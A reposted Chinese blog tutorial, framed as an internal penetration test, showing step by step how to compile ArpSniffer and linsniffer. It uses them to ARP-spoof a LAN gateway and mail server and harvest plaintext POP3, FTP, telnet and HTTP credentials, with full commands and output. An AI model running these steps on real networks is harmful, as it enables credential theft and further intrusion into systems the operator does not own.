Linux下嗅探又一实例截取

本文详细介绍如何在SecureCRT环境下安装必要的库文件并编译ArpSniffer程序,通过实例展示了如何利用ArpSniffer捕获网络数据包,进而获取明文用户名和密码的过程。

在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。

[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz 
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure 
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install

准备工作已经ok。下面重新编译arpsniffer.c

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。

[root@bbs111 root]# ./arpsniffer 
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
        ./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)

[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59

Now Start... .. .

在另一个登录里面用tcpdump监听下:

[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==22)  p=1; /* ssh for comparison added for example only comment out if desired*/
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==80) p=1;  /* http */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c 
In file included from /usr/include/linux/tcp.h:21,
                 from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!

不用管警告,直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。如图8:
 

经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。


本篇文章来源于 Vitter's Blog 原文链接:http://blog.vfocus.net/archives/000500.html

















本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/402963,如需转载请自行联系原作者

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值